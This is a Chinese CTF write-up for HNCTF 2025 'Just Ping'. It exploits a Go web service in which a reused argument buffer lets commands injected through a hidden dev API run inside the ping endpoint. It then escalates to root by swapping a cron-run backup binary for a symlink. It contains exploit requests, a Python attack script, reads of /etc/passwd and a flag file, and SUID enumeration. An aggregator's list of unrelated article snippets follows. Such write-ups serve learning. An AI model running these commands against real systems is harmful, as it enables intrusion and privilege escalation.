HNCTF 2025 Just Ping Write-up

請添加圖片描述

part 1

路由部分主邏輯逆向

package mainimport ("net/http"
)func main() {// 注冊路由和處理函數// 當訪問 "/api/ping" 路徑時,調用 pingHandler 函數處理請求http.HandleFunc("/api/ping", pingHandler)// 注冊開發測試API路由// 當訪問 "/api/testDevelopApi" 路徑時,調用 testDevelopApiHandler 函數http.HandleFunc("/api/testDevelopApi", testDevelopApiHandler)// 創建靜態文件服務器// 使用當前目錄下的"static"文件夾作為靜態文件根目錄fileServer := http.FileServer(http.Dir("static"))// 注冊靜態文件處理路由// 所有以"/static/"開頭的請求都會移除此前綴后,再在靜態文件目錄中查找文件// 例如:請求 "/static/css/style.css" 會映射到 "static/css/style.css"http.Handle("/static/", http.StripPrefix("/static/", fileServer))// 啟動HTTP服務器并監聽8080端口// nil 表示使用默認的多路復用器 (DefaultServeMux)err := http.ListenAndServe(":8080", nil)// 處理服務器啟動錯誤// 如果監聽失敗(如端口被占用),觸發panic終止程序if err != nil {panic(err)}
}// ping接口處理函數
// 用于響應健康檢查或測試請求
func pingHandler(w http.ResponseWriter, r *http.Request) {// 實際實現應包含業務邏輯,例如:w.WriteHeader(http.StatusOK)w.Write([]byte("pong"))
}// 開發測試API處理函數
// 用于開發階段的功能測試
func testDevelopApiHandler(w http.ResponseWriter, r *http.Request) {// 實際實現應包含開發測試邏輯,例如:// - 參數解析// - 業務處理// - 返回測試數據
}

/api/ping逆向

package handleimport ("bufio""bytes""context""net/http""net/textproto""os/exec""runtime""sync""time""moran/goweb1/utils"
)// PingHandler 網絡連通性測試處理器
// 用于執行ICMP ping測試目標主機(支持IPv4/IPv6)
func PingHandler(w http.ResponseWriter, r *http.Request) {// 1. 解析URL查詢參數queryParams := r.URL.Query()// 2. 獲取"target"參數值(目標主機)target := queryParams.Get("target")// 3. 檢查目標是否為空if target == "" {http.Error(w, "target cant be null", http.StatusBadRequest)return}// 4. 驗證目標格式(IP/域名)if !utils.IsValidTarget(target) {http.Error(w, "target error", http.StatusBadRequest)return}// 5. 從對象池獲取命令參數切片cmdArgsPtr := utils.CommandStringPool.Get().(*[]string)defer func() {// 重置并放回對象池*cmdArgsPtr = (*cmdArgsPtr)[:0]utils.CommandStringPool.Put(cmdArgsPtr)}()// 6. 根據操作系統構造ping命令var cmd *exec.Cmdif runtime.GOOS == "windows" {*cmdArgsPtr = append(*cmdArgsPtr, "-n", "4", target) // Windows: ping -n 4 <target>cmd = exec.Command("ping", *cmdArgsPtr...)} else {*cmdArgsPtr = append(*cmdArgsPtr, "-c", "4", target) // Linux/Mac: ping -c 4 <target>cmd = exec.Command("ping", *cmdArgsPtr...)}// 7. 獲取命令標準輸出管道stdoutPipe, err := cmd.StdoutPipe()if err != nil {http.Error(w, "server error", http.StatusInternalServerError)return}// 8. 設置響應頭w.Header().Set("Content-Type", "text/plain; charset=utf-8")w.Header().Set("X-Content-Type-Options", "nosniff")// 9. 啟動命令if err := cmd.Start(); err != nil {http.Error(w, "command exec error", http.StatusInternalServerError)return}// 10. 流式讀取命令輸出并實時寫入響應scanner := bufio.NewScanner(stdoutPipe)scanner.Buffer(make([]byte, 0, 64*1024), 1024*1024) // 1MB緩沖區for scanner.Scan() {// 逐行寫入響應if _, err := w.Write(append(scanner.Bytes(), '\n')); err != nil {break // 客戶端斷開連接時終止}// 手動刷新響應流if f, ok := w.(http.Flusher); ok {f.Flush()}}// 11. 等待命令執行完成(帶超時)done := make(chan error, 1)go func() { done <- cmd.Wait() }()select {case err := <-done:if err != nil {http.Error(w, "command wait error", http.StatusInternalServerError)}case <-time.After(10 * time.Second): // 10秒超時cmd.Process.Kill()http.Error(w, "command timeout", http.StatusGatewayTimeout)}
}

/api/testDevelopApi逆向

package handleimport ("net/http""net/url""github.com/google/shlex""moran/goweb1/utils"
)// DevelopmentHandler 開發環境命令執行處理器
// 用于接收并執行客戶端發送的命令(主要用于開發環境調試)
func DevelopmentHandler(w http.ResponseWriter, r *http.Request) {// 1. 解析URL查詢參數queryParams := r.URL.Query()// 2. 獲取"cmd"參數值cmdStr := queryParams.Get("cmd")// 3. 檢查命令是否為空if cmdStr == "" {// 返回400錯誤:命令不能為空http.Error(w, "cmd cant be null", http.StatusBadRequest)return}// 4. 從對象池獲取命令切片(減少內存分配)cmdSlicePtr := utils.CommandStringPool.Get().(*[]string)defer func() {// 使用后重置切片并放回對象池*cmdSlicePtr = (*cmdSlicePtr)[:0]utils.CommandStringPool.Put(cmdSlicePtr)}()// 5. 使用shlex進行命令解析(支持帶引號的參數)args, err := shlex.Split(cmdStr)if err != nil {// 返回400錯誤:命令解析失敗http.Error(w, "command error", http.StatusBadRequest)return}// 6. 檢查參數數量限制(最大4個參數)if len(args) > 4 {// 返回400錯誤:參數過多http.Error(w, "server error", http.StatusBadRequest)return}// 7. 執行命令(此處僅為示例,實際應執行命令)// TODO: 此處應添加實際命令執行邏輯// 8. 返回執行成功響應w.Write([]byte("Command executed successfully.\n"))
}

接下來本地調試看看

 % sudo lsof -i -P -n | grep LISTEN
[sudo] a5rz 的密碼: 
systemd-r  753 systemd-resolve   14u  IPv4  17341      0t0  TCP 127.0.0.53:53 (LISTEN)
sshd      1094            root    3u  IPv4  13828      0t0  TCP *:22 (LISTEN)
sshd      1094            root    4u  IPv6  13830      0t0  TCP *:22 (LISTEN)
cupsd     1095            root    6u  IPv6  19744      0t0  TCP [::1]:631 (LISTEN)
cupsd     1095            root    7u  IPv4  19745      0t0  TCP 127.0.0.1:631 (LISTEN)
linux_ser 4103            a5rz    3u  IPv4  41547      0t0  TCP *:23946 (LISTEN)
goweb1    4163            a5rz    3u  IPv6  39606      0t0  TCP *:8080 (LISTEN)
a5rz@a5rz-virtual-machine ~/Desktop/server% sudo strace -p 4163 -f -e execve

發現測試路由并不執行命令, 他會莫名其妙的在執行正常路由時被拼接。

a5rz@a5rz-virtual-machine ~/Desktop/server% sudo strace -p 4163 -f -e execve
strace: Process 4163 attached with 6 threads
[pid  4167] --- SIGURG {si_signo=SIGURG, si_code=SI_TKILL, si_pid=4163, si_uid=1000} ---
strace: Process 5101 attached
[pid  5101] execve("/usr/bin/ls", ["ls", "127.0.0.1"], 0xc000094fc0 /* 54 vars */) = 0
[pid  4163] --- SIGURG {si_signo=SIGURG, si_code=SI_TKILL, si_pid=4163, si_uid=1000} ---
[pid  5101] +++ exited with 2 +++
[pid  4163] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=5101, si_uid=1000, si_status=2, si_utime=0, si_stime=0} ---

問題似乎在這里

	cmdSlicePtr := utils.CommandStringPool.Get().(*[]string)defer func() {// 使用后重置切片并放回對象池*cmdSlicePtr = (*cmdSlicePtr)[:0]utils.CommandStringPool.Put(cmdSlicePtr)}()

此處存在 UAF *cmdSlicePtr = (*cmdSlicePtr)[:0],似乎不會清理緩沖區的內容 append(*cmdArgsPtr, "-c", "4", target),錯誤附加了他

嘗試

GET /api/testDevelopApi?cmd=ls%20%2f%20%2f%20%2f HTTP/1.1
Host: 27.25.151.198:33940
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

多次發送

GET /api/ping?target=127.0.0.1 HTTP/1.1
Host: 27.25.151.198:33940
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Referer: http://27.25.151.198:33940/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Date: Sat, 07 Jun 2025 01:53:43 GMT
Content-Length: 232/:
app
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var/:
app
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var
command wait error

get flag

cat /flag / /

part 2

需拿到root的Flag,Enjoy

/:
total 60
drwxr-xr-x   2 root root 4096 May 28 12:33 app
lrwxrwxrwx   1 root root    7 May 20 00:00 bin -> usr/bin
drwxr-xr-x   2 root root 4096 May  9 14:50 boot
drwxr-xr-x   5 root root  360 Jun  7 01:56 dev
drwxr-xr-x   1 root root 4096 Jun  7 01:56 etc
drwxr-xr-x   1 root root 4096 May 29 09:52 home
lrwxrwxrwx   1 root root    7 May 20 00:00 lib -> usr/lib
lrwxrwxrwx   1 root root    9 May 20 00:00 lib64 -> usr/lib64
drwxr-xr-x   2 root root 4096 May 20 00:00 media
drwxr-xr-x   2 root root 4096 May 20 00:00 mnt
drwxr-xr-x   2 root root 4096 May 20 00:00 opt
dr-xr-xr-x 876 root root    0 Jun  7 01:56 proc
drwx------   1 root root 4096 Jun  7 01:56 root
drwxr-xr-x   1 root root 4096 Jun  7 01:56 run
lrwxrwxrwx   1 root root    8 May 20 00:00 sbin -> usr/sbin
drwxr-xr-x   2 root root 4096 May 20 00:00 srv
-rwxr-xr-x   1 root root  116 May 29 09:50 start.sh
dr-xr-xr-x  13 root root    0 Jun  7 01:56 sys
drwxrwxrwt   1 root root 4096 Jun  7 02:12 tmp
drwxr-xr-x   1 root root 4096 May 20 00:00 usr
drwxr-xr-x   1 root root 4096 May 28 12:33 var
command wait error

start.sh

#!/bin/bashif [[ -f /flag.sh ]]; thensource /flag.shrm -f /flag.sh
fisu - enjoy -c "cd /var/web && ./goweb1"
command wait error

all

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
Debian-exim:x:100:102::/var/spool/exim4:/usr/sbin/nologin
enjoy:x:1000:1000::/home/enjoy:/bin/sh

我得想辦法執行更長的命令

sh -c "ls" /
sh -c "find / -user root -perm -4000 -print 2>/dev/null" /

找找提權

/usr/sbin/exim4
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/umount
/usr/bin/mount
/usr/bin/su
/usr/bin/chsh
/usr/bin/gpasswd
sh -c "/usr/sbin/exim4 --version" /

2025 郵件服務器?

Exim version 4.96 #2 built 22-Mar-2025 10:25:14
Copyright (c) University of Cambridge, 1995 - 2018
(c) The Exim Maintainers and contributors in ACKNOWLEDGMENTS file, 2007 - 2022
Berkeley DB: Berkeley DB 5.3.28: (September  9, 2013)
Support for: crypteq iconv() IPv6 GnuTLS TLS_resume move_frozen_messages DANE DKIM DNSSEC Event I18N OCSP PIPECONNECT PRDR Queue_Ramp SOCKS SRS TCP_Fast_Open
Lookups (built-in): lsearch wildlsearch nwildlsearch iplsearch cdb dbm dbmjz dbmnz dnsdb dsearch nis nis0 passwd
Authenticators: cram_md5 external plaintext
Routers: accept dnslookup ipliteral manualroute queryprogram redirect
Transports: appendfile/maildir/mailstore autoreply lmtp pipe smtp
Fixed never_users: 0
Configure owner: 0:0
Size of off_t: 8
Configuration file search path is /etc/exim4/exim4.conf:/var/lib/exim4/config.autogenerated
Configuration file is /var/lib/exim4/config.autogenerated

2025內核?

Linux hnctf-7ef39a61662c4f2c 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 GNU/Linux

定時任務?

-rw-r--r-- 1 root root 1042 Mar  2  2023 /etc/crontab/etc/cron.d:
total 4
-rw-r--r-- 1 root root 201 Mar  5  2023 e2scrub_all/etc/cron.daily:
total 16
-rwxr-xr-x 1 root root 1478 May 25  2023 apt-compat
-rwxr-xr-x 1 root root  123 Mar 27  2023 dpkg
-rwxr-xr-x 1 root root 4722 Jun 17  2024 exim4-base/etc/cron.hourly:
total 0/etc/cron.monthly:
total 0/etc/cron.weekly:
total 0/etc/cron.yearly:
total 0

是 Exim提權?這個服務看著很怪

from codes.WEB.WebAttack import WebAttack  
from codes.WEB.base import *  
from codes.Reveres.Universal_disassembler.VM import VM  key = 'key3key'  
pay = 'ls -l /etc/exim4/.conf;ls -l /var/lib/exim4/config.autogenerated'  pay = url_encode(f'sh -c "echo {key};{pay}" /')  io1 =WebAttack(f"""  
GET /api/testDevelopApi?cmd={pay} HTTP/1.1Host: 27.25.151.198:33355  """)  io1.send()  io2 = WebAttack("""  
GET /api/ping?target=a.com HTTP/1.1  
Host: 27.25.151.198:33355  """)  while True:  res = io2.send()  if key in res.get_body():  print(res.get_body())  break

讀出來了但是好像沒啥用

有個漏洞

CVE - CVE-2025-30232漏洞

找不到exp,應該不會讓現場復現pwn漏洞吧?

Exploit Database Search

Exim AUTH Out-of-bounds Write 遠程代碼執行… ·CVE-2023-42115 漏洞 ·GitHub Advisory Database (GitHub 咨詢數據庫) ·GitHub的

能找到的全是pwn漏洞,一個有概念驗證代碼的都沒有

再讀一讀,文件看看

cat: ./static/css: Is a directory
<!DOCTYPE html>
<html lang="zh-CN">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Ping 測試工具</title><link href="./css/bootstrap.min.css" rel="stylesheet"><style>body {background-color: #f8f9fa;padding-top: 2rem;}.container {max-width: 800px;}.card {border-radius: 10px;box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);}.card-header {background-color: #0d6efd;color: white;border-radius: 10px 10px 0 0 !important;}#output {height: 400px;overflow-y: auto;background-color: #212529;color: #e9ecef;font-family: 'Courier New', Courier, monospace;padding: 15px;border-radius: 5px;white-space: pre-wrap;}.btn-primary {background-color: #0d6efd;border-color: #0d6efd;}.btn-primary:hover {background-color: #0b5ed7;border-color: #0a58ca;}.form-control:focus {border-color: #86b7fe;box-shadow: 0 0 0 0.25rem rgba(13, 110, 253, 0.25);}</style>
</head>
<body><div class="container"><div class="card"><div class="card-header text-center"><h2>Ping 測試工具</h2></div><div class="card-body"><div class="mb-3"><label for="targetInput" class="form-label">輸入 IP 地址或域名</label><div class="input-group"><input type="text" class="form-control" id="targetInput" placeholder="例如: 8.8.8.8 或 google.com"><button class="btn btn-primary" type="button" id="pingButton">開始 Ping</button>
<!--                        <button class="btn btn-success" type="button" id="testApiButton">測試API</button>--><button class="btn btn-danger" type="button" id="stopButton" disabled>停止</button></div></div><div class="mb-3"><label class="form-label">Ping 結果</label><div id="output"></div></div></div><div class="card-footer text-muted">工具將實時顯示 ping 命令的輸出結果</div></div></div><script>document.addEventListener('DOMContentLoaded', function() {const targetInput = document.getElementById('targetInput');const pingButton = document.getElementById('pingButton');const stopButton = document.getElementById('stopButton');const output = document.getElementById('output');let controller = null;// 自動滾動到底部function scrollToBottom() {output.scrollTop = output.scrollHeight;}// 清除輸出function clearOutput() {output.textContent = '';}// 開始 pingpingButton.addEventListener('click', async function() {const target = targetInput.value.trim();if (!target) {alert('請輸入有效的 IP 地址或域名');return;}clearOutput();pingButton.disabled = true;stopButton.disabled = false;targetInput.disabled = true;// 使用 AbortController 來控制請求controller = new AbortController();const signal = controller.signal;try {const response = await fetch(`/api/ping?target=${encodeURIComponent(target)}`, {signal});if (!response.ok) {throw new Error(`請求失敗: ${response.status}`);}const reader = response.body.getReader();const decoder = new TextDecoder();while (true) {const { done, value } = await reader.read();if (done) break;const text = decoder.decode(value);output.textContent += text;scrollToBottom();}} catch (error) {if (error.name !== 'AbortError') {output.textContent += `\n錯誤: ${error.message}\n`;scrollToBottom();}} finally {pingButton.disabled = false;stopButton.disabled = true;targetInput.disabled = false;controller = null;}});// 停止 pingstopButton.addEventListener('click', function() {if (controller) {controller.abort();}pingButton.disabled = false;stopButton.disabled = true;targetInput.disabled = false;});// 按回車鍵觸發 pingtargetInput.addEventListener('keypress', function(e) {if (e.key === 'Enter' && !pingButton.disabled) {pingButton.click();}});});// 測試開發APIdocument.getElementById('testApiButton').addEventListener('click', async function() {const cmd = targetInput.value.trim();if (!cmd) {alert('請輸入測試命令');return;}clearOutput();testApiButton.disabled = true;targetInput.disabled = true;try {const response = await fetch(`/api/testDevelopApi?cmd=${encodeURIComponent(cmd)}`);if (!response.ok) {throw new Error(`請求失敗: ${response.status}`);}const data = await response.text();output.textContent = data;scrollToBottom();} catch (error) {output.textContent = `錯誤: ${error.message}`;scrollToBottom();} finally {testApiButton.disabled = false;targetInput.disabled = false;}});</script><script src="./js/bootstrap.bundle.min.js"></script>
</body>
</html>cat: ./static/js: Is a directory

查找 root 擁有且所有人可寫的文件?

find / -user root -perm -4000 -perm -o=w 2>/dev/null

提示: root有一個定時任務每分鐘都會執行

ps top 全無

定時任務找不到,被藏了?

linux-隱藏你的crontab后門-騰訊云開發者社區-騰訊云

還是找不到

ls /proc | grep '^[0-9]'

cmd line 讀不出來,id一直在變,延遲太高窗口期根本不夠

ps top 都沒有

新提示: root給出了它的一個腳本,在附件中哦

#!/bin/bashif [ ! -f "backup" ]; thenexit 1
fiACTUAL_MD5=$(md5sum "backup" | cut -d' ' -f1)if [ "$ACTUAL_MD5" = "18ed919aada0f7adca8802acf7b8a4d5" ]; thenbackupexit 0
elseexit 1
fi

找到 backup

pay = """find / -type f -name backup 2>/dev/null"""
/usr/local/etc/backup
-rwxrwxrwx 1 root root 2706127 May 28 12:32 /usr/local/etc/backup
pay = """base64 /usr/local/etc/backup > /tmp/backup_encoded.b64;cat /tmp/backup_encoded.b64"""

ida 找 main.main

package mainimport ("os""path/filepath"
)func main() {// 獲取可執行文件路徑execPath, err := os.Executable()if err != nil {os.Exit(1)}// 獲取可執行文件所在目錄execDir := filepath.Dir(execPath)// 獲取絕對路徑absPath, err := filepath.Abs(execDir)if err != nil {os.Exit(1)}// 構建備份列表文件路徑backupListPath := filepath.Join(absPath, "../backupList")// 讀取備份列表backupList, err := readBackupList(backupListPath)if err != nil {os.Exit(2)}// 創建備份err = createBackup(backupList, "/var/backups/backup.zip")if err != nil {os.Exit(3)}
}func readBackupList(listPath string) ([]string, error) {// 讀取文件內容content, err := os.ReadFile(listPath)if err != nil {return nil, err}// 如果文件為空,返回空切片if len(content) == 0 {return []string{}, nil}// 將字節內容轉換為字符串contentStr := string(content)// 按行分割內容lines := strings.Split(contentStr, "\n")// 創建結果切片var result []string// 處理每一行for _, line := range lines {// 去除每行首尾的空白字符trimmedLine := strings.TrimSpace(line)// 如果去除空白后行不為空,則添加到結果中if trimmedLine != "" {result = append(result, trimmedLine)}}return result, nil
}func createBackup(backupList []string, outputPath string) error {// 檢查輸出文件是否存在,如果存在則刪除if _, err := os.Stat(outputPath); err == nil {if err := os.Remove(outputPath); err != nil {return err}}// 創建新的zip文件zipFile, err := os.OpenFile(outputPath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0666)if err != nil {return err}defer zipFile.Close()// 創建一個帶緩沖的writerbufWriter := bufio.NewWriterSize(zipFile, 4096)defer bufWriter.Flush()// 創建zip writerzipWriter := zip.NewWriter(bufWriter)defer zipWriter.Close()// 遍歷備份列表for _, path := range backupList {err := filepath.Walk(path, func(filePath string, info os.FileInfo, err error) error {if err != nil {return err}// 跳過目錄if info.IsDir() {return nil}// 創建zip文件頭header, err := zip.FileInfoHeader(info)if err != nil {return err}// 設置壓縮方法header.Method = zip.Deflate// 創建zip文件條目writer, err := zipWriter.CreateHeader(header)if err != nil {return err}// 打開源文件file, err := os.Open(filePath)if err != nil {return err}defer file.Close()// 復制文件內容到zip_, err = io.Copy(writer, file)return err})if err != nil {return err}}return nil
}

不可寫

-rw-r--r-- 1 root root 13 May 28 09:58 /usr/local/backupList

看內容

/root/healthy
base64 /var/backups/backup.zip > /tmp/backup.b64;cat /tmp/backup.b64

里面只有 “OK”

ls -l /root/healthy/healthy

被禁止

ls -l /usr/local/etc/

條件競爭?

利用sh反復交換兩個可執行文件的位置創造一個窗口期?

交換?如果我將移動可執行文件并創建其鏈接呢,其相對路徑將會改變?

pay = """mkdir -p /tmp/test;cp /usr/local/etc/backup /tmp/test/backup;ln /tmp/test/backup /usr/local/etc/backup;echo \\"/root/flag\\" > /tmp/backupList"""

失敗,發現是ln覆蓋不了原文件,改移動

pay = """mv /usr/local/etc/backup /tmp/test/backup"""
-rwxr-xr-x 1 enjoy enjoy 2706127 Jun 7 13:25 /usr/local/etc/backup

next->

pay = """mkdir -p /tmp/test;mv /usr/local/etc/backup /tmp/test/backup;ln -s /tmp/test/backup /usr/local/etc/backup;echo \\"/root/flag\\" > /tmp/backupList;md5sum \\"/usr/local/etc/backup\\\""""

check_pass

18ed919aada0f7adca8802acf7b8a4d5  /usr/local/etc/backup

get flag ->

base64 /var/backups/backup.zip > /tmp/backup.b64;cat /tmp/backup.b64

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/84629.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/84629.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/84629.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

OpenCV CUDA模塊中用于稠密光流計算的 TV-L1(Dual TV-L1)算法類cv::cuda::OpticalFlowDual_TVL1

操作系統&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 編程語言&#xff1a;C11 算法描述 cv::cuda::OpticalFlowDual_TVL1類是基于變分優化方法的稠密光流算法實現&#xff08;Dual TV-L1 光流模型&#xff09;&#xff0c;在 GPU 上加…

ThreadPoolTaskExecutor+CompletableFuture實現多線程異步數據同步和自定義線程池監控和動態調整實現

前言 ThreadPoolTaskExecutor是Spring框架提供的一個線程池實現&#xff0c;它是對Java標準庫中ThreadPoolExecutor的封裝&#xff0c;提供了更便捷的配置和集成方式&#xff0c;特別適合在Spring環境中使用。相關線程池概念見線程&線程池相關 CompletableFuture 是 Java…

一篇文章理解js閉包和作用于原理

一、js閉包的作用原理 JS閉包是指內部函數訪問外部函數變量的機制&#xff0c;常用于數據封裝和模塊化。典型應用包括創建私有變量、解決循環中的異步問題、實現函數柯里化等。案例分析展示了閉包在計數器、防抖函數等場景的使用&#xff0c;同時揭示了可能的內存泄漏風險。正…

GUI絲滑教程-python tinker

在 Tkinter GUI 應用中&#xff0c;線程可以幫助你在后臺執行長時間運行的任務&#xff0c;而不阻塞界面響應。下面是一些技巧&#xff0c;幫助你在使用線程時避免 Tkinter 界面卡頓的問題。 為什么 Tkinter 界面會卡頓&#xff1f; Tkinter 使用 主線程 來處理 UI 更新&…

第一部分-數據通信網絡基礎

目錄 一、什么是網絡通信&#xff1f; 二、網絡通信設備的基本識別 1.雙絞線 2.集線器&#xff08;物理層設備&#xff09; 3.中繼器&#xff08;物理層設備&#xff09; 4.接入交換機 5.匯聚交換機 6.核心交換機 7.路由器 8.無線路由器 9.光貓 一、什么是網絡通信&#xff1f;…

windows電腦解決筆記本搜索不到wifi問題

windows筆記本電腦明明打開了wifi功能&#xff0c;卻搜索不到wifi&#xff0c;此問題可能是網絡適配器被禁用的原因導致&#xff0c;通過以下方法也許能解決&#xff0c;無需重啟電腦 1、右鍵點擊網絡或wifi圖標&#xff0c;打開界面”網絡和internet“ 2、選擇”高級網絡設置…

C# 界面檢測顯示器移除并在可用顯示器上顯示

C# 檢測顯示器被移除&#xff0c;將界面在當前可用的顯示器上顯示&#xff0c;避免程序在任務欄點擊無響應。 using System; using System.Linq; using System.Windows.Forms;public class MonitorWatcher : IDisposable {private readonly Form _targetForm;private Screen …

JAVA實戰開源項目:青年公寓服務平臺 (Vue+SpringBoot) 附源碼

本文項目編號 T 233 &#xff0c;文末自助獲取源碼 \color{red}{T233&#xff0c;文末自助獲取源碼} T233&#xff0c;文末自助獲取源碼 目錄 一、系統介紹二、數據庫設計三、配套教程3.1 啟動教程3.2 講解視頻3.3 二次開發教程 四、功能截圖五、文案資料5.1 選題背景5.2 國內…

阿里云服務狀態監控:實時掌握云服務健康狀況

前言 在云計算時代,企業和開發者越來越依賴云服務提供商的基礎設施和服務。當我們的應用部署在云上,服務的可用性和穩定性就與云服務提供商息息相關。一旦云服務出現故障或維護,可能會對我們的業務造成直接影響。因此,實時了解云服務的運行狀態變得尤為重要。阿里云作為國…

使用VSCode開發FastAPI指南

1概述 FastAPI 是一個現代的高性能 Web 框架&#xff0c;用于使用 Python 構建 API。它旨在讓開發者輕松快速高效地構建 API&#xff0c;同時提供 API 的自動驗證、序列化和文檔記錄等功能&#xff0c;使其成為構建 Web 服務和微服務的熱門選擇。 在這個 FastAPI 教程中&#…

2025年硬件實習/秋招面試準備

前言 暑期即將到來&#xff0c;有很多研一研二以及大三大四的同學準備硬件類&#xff08;硬件研發、嵌入式硬件、layout、電源設計、射頻、硬件測試、工藝、FAE&#xff09;的實習或秋招。鑒于此&#xff0c;總結一下網友們秋招、實習中的硬件高頻考點&#xff0c;并分析他們是…

VSCode - Trae 插件關閉彈出框代碼補全

Trae 插件關閉彈出框代碼補全 彈出框代碼補全與非彈出框代碼補全 如下是彈出框代碼補全 如下是非彈出框代碼補全 關閉 / 啟用彈出框代碼補全 點擊 【管理】&#xff08;小齒輪&#xff09; -> 點擊 【設置】 取消勾選&#xff08;如果需要啟用&#xff0c;則勾選即可&…

Elasticsearch從安裝到實戰、kibana安裝以及自定義IK分詞器/集成整合SpringBoot詳細的教程ES(三)

DSL官方地址&#xff1a; DSL查詢分類 Elasticsearch提供了基于JSON的DSL&#xff08;https://www.elastic.co/docs/explore-analyze/query-filter/languages/querydsl&#xff09;來定義查詢。常見的查詢類型包括&#xff1a; 查詢所有&#xff1a;查詢出所有數據&#xff0…

我們來學mysql -- keepalive主從高可用

keepalive主從高可用 簡明扼要安裝KP場景“高可用”配置主keepalived.conf從keepalived.confmysql_check.sh 高可用驗證KP運行情況通過vip連接mysqlvip連接上創建數據庫關閉主庫所在服務器的KPvip連接上再次創建數據庫 結尾 簡明扼要 搭建mysql的主從八股文如是&#xff1a;主…

Compose筆記(二十六)--DatePicker

這一節主要了解一下Compose中的DatePicker,DatePicker是一個用于選擇日期的組件&#xff0c;它提供了直觀的界面讓用戶可以通過日歷視圖或直接輸入來選擇年、月、日。我們在開發中時常會用到日期選擇器&#xff0c;簡單總結如下: API: DatePickerDialog onDismissRequest&…

【靶場】upload-labs-文件上傳漏洞闖關

提示:文章寫完后,目錄可以自動生成,如何生成可參考右邊的幫助文檔 文章目錄 前言1.第一關1.保存html頁面2.修改頁面html3.訪問修改后的本地html文件4.上傳php文件5.訪問上傳的php2.第二關1.抓上傳包修改文件類型2.上傳成功3.第三關1.phtml php3會被解析為php原理2.上傳成功4…

基于 Transformer RoBERTa的情感分類任務實踐總結之四——PGM、EMA

整合了以下五大核心技術&#xff1a;R-Drop、PGM 對抗訓練、EMA、標簽平滑、CosineAnnealing 學習率調度。 1. R-Drop&#xff08;Regularized Dropout&#xff09; 原理&#xff1a;同一個樣本做兩次前向傳播&#xff08;同 dropout mask&#xff09;&#xff0c;計算兩次輸…

錄制mp4 rospy

ros 預覽攝像頭 #!/usr/bin/env python import rospy from sensor_msgs.msg import Image from cv_bridge import CvBridge import cv2# 初始化 bridge bridge CvBridge()def image_callback(msg):# 將ROS圖像消息轉換為OpenCV圖像cv_image bridge.imgmsg_to_cv2(msg, desir…

超簡單部署離線語音合成TTS和語音識別

一篇文章講清楚超簡單 離線語音合成TTS 和 離線語音識別 系統部署 本文只介紹兩個輕量級的 語音合成用piper, 語音識別用vosk 部署簡單,效果勉強 語音合成 推薦 piper (其他沒用過) 安裝 linux下安裝 pip install piper-tts下載模型(63M) 中文模型下載 zh_CN-huayan-medi…

【算力網】

一、算力網-DNS 1.1、核心架構設計 1.1.1 設計框架 基于SRv6的智能DNS算法設計框架&#xff0c;結合IPv6路由可編程性、動態路徑優化及業務感知能力&#xff0c;實現網絡性能與用戶體驗的雙重提升&#xff1a;? ?SRv6-DNS融合架構? ?控制平面?&#xff1a; DNS服務器集…